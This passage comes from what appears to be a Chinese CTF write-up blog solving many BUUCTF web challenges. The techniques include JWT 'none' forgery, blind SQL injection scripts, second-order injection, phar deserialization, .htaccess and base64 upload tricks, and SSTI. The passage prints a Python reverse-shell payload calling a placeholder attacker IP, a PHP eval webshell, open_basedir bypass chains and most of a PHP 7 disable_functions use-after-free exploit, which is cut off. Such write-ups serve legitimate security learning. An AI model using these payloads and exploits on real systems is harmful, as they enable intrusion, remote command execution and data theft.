    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

这里贴一张js代码结构图

看看controllers中的app.js

//controllers/app.js
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

可以看到加密算法是HS256,尝试将其更改为None直接传入

import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "aaaaa",
  "iat": 1649380156
},
algorithm="none",key="").encode(encoding='utf-8')

print(token)

登录成功!

访问/api/flag拿到flag

[b01lers2020]Welcome to Earth

阴间题!!!!!!!!!!!

进去就疯狂跳转,总之就是不断查看源码不要跳转到die,最终跳转到fight查看js

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
  for (var i = 0; i < key.length; i++) {
    let n = key.charCodeAt(i) % flag.length;
    let temp = flag[i];
    flag[i] = flag[n];
    flag[n] = temp;
  }
  return flag;
}

function check_action() {
  var action = document.getElementById("action").value;
  var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

  // TODO: unscramble function
}

按照人间语法拼出flag

pctf{hey_boys_im_baaaaaaaaaack!}

[WUSTCTF2020]CV Maker

看到这种模版化的界面,尝试扫目录看看是不是代码审计,结果没有,乖乖注册登录,发现可以上传头像,空文件直接上传发现警告

Warning: exif_imagetype(): Filename cannot be empty in /var/www/html/profile.php on line 76

emmmmmmm,使用exif_imagetype可使用幻数头绕过,上传木马

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-08 22.05.39.png)

访问拿flag即可

[GYCTF2020]Ezsqli

布尔注入喵喵,脚本懒得贴了喵喵

database:give_grandpa_pa_pa_pa

information_schema被ban了,mysql.innodb_table_stats也被ban了,新新知识居然还有个能用的

select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()
table:f1ag_1s_h3r3_hhhhh,users233333333333333
1^((select ('~','~'))>(select * from f1ag_1s_h3r3_hhhhh))

最后就是无列名注入啦

import requests
flagname="flag-{1234567890bcdefg}"
name=",qwertyuioplkjhgfdsazxcvbnmQAZWSXEDCRFVTGBYHNUJMIKOLP1234567890"
url="http://4664ea16-9fe4-4020-bc20-7e556fa70991.node4.buuoj.cn:81/index.php"
flag=""
for i in range(1,100):
    for j in range(33,128):
        tmp=flag+chr(j)
        data={'id':f"0^((select 1,'{tmp}')>(select * from f1ag_1s_h3r3_hhhhh))"}
        tes=requests.post(url=url,data=data).text
        if "Nu1L" in tes:
            print(chr(j-1),end="")
            flag=flag+chr(j-1)
            break

[网鼎杯 2018]Comment

先爆破登录,zhangwei666

.git文件泄露

GitHack扫出后发现代码内容不全,使用Git恢复旧仓库

//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

很明显在comment处存在二次注入,又因为此处insert是带有换行的,所以不能直接使用#来进行注释,使用/**/进行多行注释,构造payload

category:0',content=database(),/*
留言comment处:*/#
最终构造出的语句
insert into comment
set category = '0',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";

insert into comment set category = '0',content=database(),bo_id = '$bo_id'";

在回显留言即可看到结果

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-09 08.47.30.png)

按照这个方法查完全库也没有结果,尝试loadfile吧,不知道读啥,捞一下wp的结果

load_file(‘文件绝对路径’)读取文件并返回文件内容为字符串。使用此函数,该文件必须位于服务器主机上,必须指定完整路径的文件,必须有FILE权限。
一般用法步骤:
读/etc/init.d下的东西,这里有配置文件路径
?id=1’ union select 1,2,load_file(‘/etc/init.d/httpd’)
得到web安装路径
?id=1’ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf’)
读取密码文件
?id=1’ union select 1,2,load_file(‘var/www/html/xxx.com/php/conn.inc.php’)

先看/etc/passwd

www:x:500:500:www:/home/www:/bin/bash

得到跑web服务的用户

每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。

访问拿到用过的命令

cd /tmp/ 
unzip html.zip 
rm -f html.zip 
cp -r html /var/www/ 
cd /var/www/html/ 
rm -f .DS_Store 
service apache2 start

访问/tmp/html/.DS_Store拿到文件夹内容,太长内容可能包含sql语句,使用16进制编码,发现文件flag_8946e1ff1ee3e40f.php,读取拿flag即可,记得读/var/www/html下的文件,tmp中的不正确

cookiebase64解一下然后改了价格再传回去

[网鼎杯 2020 白虎组]PicDown

PicDown,下载照片,尝试访问/etc/passwd下载成功,看来可以找找源码,没啥文件包含思路,看wp,是linux的进程文件

可以通过/proc/pid/ 来 获 取 指 定 进 程 的 信 息 , 例 如 内 存 映 射 、 CPU绑 定 信 息 等 等 。 如 果 某 个 进 程 想 要 获 取 本 进 程 的 系 统 信 息 , 就 可 以 通 过 进 程 的pid来 访 问 /proc/ pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。

其中的重要文件

cmdline
cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令:

cwd
cwd文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录

environ
environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息

fd
fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容。

利用

1.获取当前启动进程的完成命令:
cat /proc/self/cmdline

2.获取目标当前进程的运行目录与目录里的文件:
ls -al /proc/self/cwd
ls /proc/self/cwd

3.获得当前进程的可执行文件的完整路径:
ls -al /proc/self/exe

3.获得当前进程的可执行文件的完整路径:
ls -al /proc/self/exe

4.获取当前环境变量
cat /proc/self/environ

5.获取当前进程打开的文件内容
cat /proc/self/fd/{id}
也可以是:
cat /proc/*/fd/*    --*可以代替任意数字和字母

本题中我们可以访问一下这几个位置

cmdline
python2 app.py

environ
MAIL=/var/mail/app
USER=app
HOME=/home/app
LOGNAME=app
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
SHELL=/bin/sh
PWD=/app

在运行位置拿到源码

#/proc/self/cwd/app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

可以看到代码中打开了/tmp/secret.txt并且将其中的内容作为SECRET_KEY,所以我们访问到这个文件就行了,尝试直接读取发现失败,那么我们利用proc文件中的fd文件夹,id从1开始尝试,最终可以拿到该文件

url=/proc/self/fd/3
p3EtoNP0wO7DG6ZNhqzIT9dOV5sbSosf2GIQSXCkFqM=

尝试传参,成功,但是命令执行成功后却没有回显,下一步就是反弹shell或者写文件

反弹shell

payload:
key=p3EtoNP0wO7DG6ZNhqzIT9dOV5sbSosf2GIQSXCkFqM=&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("服务器IP喵喵",监听端口喵喵));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

骚操作直接访问/flag下载文件

[SWPUCTF 2018]SimplePHP

查看文件处可以查看页面源码

//file.php
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 
//class.php
<?php
class C1e4r
{
    public $test;
    public $str=new Show;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str['str']=new Test;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params['source']="/var/www/html/f1ag.php";
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>
//function.php
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

反序列化找链子很明显了

C1e4r::__destruct->Show::__toString->Test::__get->Test::get->Test::file_get

构造反序列化

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$a = new C1e4r();
$b = new Show();
$a->str = $b;
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";//目标文件
$b->str['str'] = $c;  //触发__get;


$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发类是C1e4r类
$phar->addFromString("text.txt", "test"); //签名
$phar->stopBuffering();

?>

phar访问即可

[红明谷CTF 2021]write_shell

if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
	die('hacker!!!');

看看都过滤了啥

空格,下划线,php,分号,~,^,+,eval,花括号

首先是php标签绕过,有短标签

<?=`命令`?>
<?echo"1"?>
<% echo"1";%>

使用第一个来执行命令,然后就是空格,用制表符%09代替,根目录读取即可

payload:data=<?=`cat%09/flllllll1112222222lag`?>

[HarekazeCTF2019]encode_and_encode

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

我真绕不过去啊,wp

json字符转译,json会将utf-8编码的字符自动转为原始字符

这就好办了,直接将想读取内容中的flag进行utf-8编码即可,又因为下面对匹配flag的字符串进行了过滤,所以使用伪协议读取

payload:
POST
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

[RootersCTF2019]I_<3_Flask

SSTI很明显了,就是这个传参不好找,用个脚本Arjun用来爆参数的

name={{url_for.__globals__["os"].popen('cat flag.txt').read()}}

[NCTF2019]SQLi

贴心的提示,ban的可真多

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,Then you will get the flag;

所有的注释都没了,PHP版本又<5.3.4,使用00截断来裁切后面语句,构造payload

username=\&passwd=||(passwd/**/regexp/**/"^y");%00
构造出的语句就是
select * from users where username='\' and passwd='||(passwd/**/regexp/**/"^w");%00'
import requests
import time
from urllib import parse
url="http://9ae4f74d-f7fe-4d73-8116-90698fc3d9d0.node4.buuoj.cn:81/index.php"
name="qwertyuiopasdfghjklzxcvbnm_}{0123456789"
flag=""
for i in range(1,100):
    for j in name:
        tmp=flag+j
        data={'username':'\\',
            'passwd':f"||(passwd/**/regexp/**/\"^{tmp}\");{parse.unquote('%00')}"
        }
        co=requests.post(url=url,data=data).status_code
        if co==404:
            flag=tmp
            print(j,end="")
#you_will_never_know7788990

脚本拿到password,再随便写一个除admin之外的user就行

[SUCTF 2019]EasyWeb

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

看代码,应该是让我们执行get_the_flag函数再上传文件getshell

首先是正则绕过,使用异或绕过

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

下一步就是走文件内容过滤绕过了

首先过了文件带ph后缀,然后检查文件中有没有<?,最后通过exif_imagetype看看是不是图片

所有php类型文件想都不要想了,用.htaccess,但是如果直接添加幻数头会导致整个文件不被解析,所以新知识来辣

exif_imagetype()函数是PHP中的内置函数,用于确定图像的类型。

用法:

int exif_imagetype( string $filename )

参数:该函数接受单个参数$filename,该参数保存图像的名称或URL。

返回值:此函数返回与IMAGETYPE常量之一相对应的整数,如下所示:

  • IMAGETYPE_GIF(1)
  • IMAGETYPE_JPEG(2)
  • IMAGETYPE_PNG(3)
  • IMAGETYPE_SWF(4)
  • IMAGETYPE_PSD(5)
  • IMAGETYPE_BMP(6)
  • IMAGETYPE_TIFF_II(7)
  • IMAGETYPE_TIFF_MM(8)
  • IMAGETYPE_JPC(9)
  • IMAGETYPE_JP2(10)
  • IMAGETYPE_JPX(11)
  • IMAGETYPE_JB2(12)
  • IMAGETYPE_SWC(13)
  • IMAGETYPE_IFF(14)
  • IMAGETYPE_WBMP(15)
  • IMAGETYPE_XBM(16)
  • IMAGETYPE_ICO(17)
  • IMAGETYPE_WEBP(18)

只有当文件内容不属于以上任何一种图片类型的时候才会返回FALSE

而在.htaccess中有两个注释符号

\x00
#

恰巧在图片中就有两种类型的图片是有这样开头的内容的

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-09 23.51.41.png)

\x00\x00\x85\x85 只能放在文件开头位置

#define width 1337
#define height 1337
可以放在文件任意位置

注意好这个就可以上传成功.htaccess文件啦

下面想想木马如何构造,由于对内容中的标签<?进行了过滤,所以是不能使用任何已知的短标签绕过方法进行绕过的,并且在这个版本的PHP中,类似于<script language="php">这样的标签也是不生效的,骚操作来了,使用php伪协议用base64绕过,构造内容时在.htaccess中添加伪协议,最终构造出的shell和.htaccess文件如下

.htaccess
#define width 1000
#define height 1000
AddType application/x-httpd-php .kkk
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_cc551ab005b2e60fbdc88de809b2c4b1/kk.kkk"
import requests
import base64
hta=b'''
#define width 1000
#define height 1000
AddType application/x-httpd-php .kkk
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_cc551ab005b2e60fbdc88de809b2c4b1/kk.kkk"
'''
hta={'file':('.htaccess',hta,"image/png")}
url="http://42c1f3d3-4023-4a55-822e-532aa2640e28.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
res=requests.post(url=url,files=hta).text
print(res)
shell = b"GIF89aaa" + base64.b64encode(b"<?php eval($_REQUEST['kkk']);?>")
she={'file':('kk.kkk',shell,"image/png")}
res=requests.post(url=url,files=she).text
print(res)

上传并访问,成功

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-10 00.09.32.png)

可以看到禁用了巨多的函数,其实这里搜索flag就能直接拿到flag了,不能执行系统命令,open_basedir又被限制了,尝试绕过

payload:
kkk=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

然后拿flag

payload:
kkk=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/THis_Is_tHe_F14g');

[NPUCTF2020]ezinclude

首先看源码提示,提示了pass内容,再看响应头中的Hash,直接传入,跳转flflflflag.php看内容中有个include,读取一把源码

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

过滤了data,input,zip

新知识

可以利用

php://filter/string.strip_tags

导致php崩溃,同时可上传文件保存在/tmp目录来上传木马。

利用条件:

  • php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
  • php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
  • php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
  • 可以获取文件名
  • 源代码将GET参数进行文件包含

构造python脚本

import requests
url = "http://eecf8a4a-cb71-40a6-9ff8-6e21849084dd.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
phpfile = "<?php phpinfo(); ?>"
filedata = {
    "file":phpfile
}
bak = requests.post(url=url, files=filedata)
print(bak.text)

此时实例崩溃重启,但是/tmp中的内容依然保存,访问dir.php(目录扫描扫出来的)查看tmp中的内容,发现刚上传的文件,使用include包含后搜索flag拿到flag

[CISCN2019 华东南赛区]Double Secret

进去访问/secret

Tell me your secret.I will encrypt it so others can't see

传参数secret,输点乱七八糟的让它报错,看源码

if(secret==None):
    return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure")   #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
    return 'flag detected!'
return a

就是对传入的secret进行RC4编码后再模版渲染

偷一个师傅的脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")

传入喵喵喵

[GYCTF2020]EasyThinking

看这个题目怕不是ThinkPHP,随便搞一个不存在的目录,发现确实是ThinkPHP V6.0的一个session处任意文件写入漏洞

大概就是在./runtime/session/目录下写入一个名为sess_SESSIONID的文件,内容是传入的参数内容

那么在搜索处构造木马<?php eval($_POST[a]);?>

然后访问/runtime/session/sess_d62297dbd2f3523b5b66a5036c3f.php

ban了一堆函数,找disable_functions绕过poc

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("ls /");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

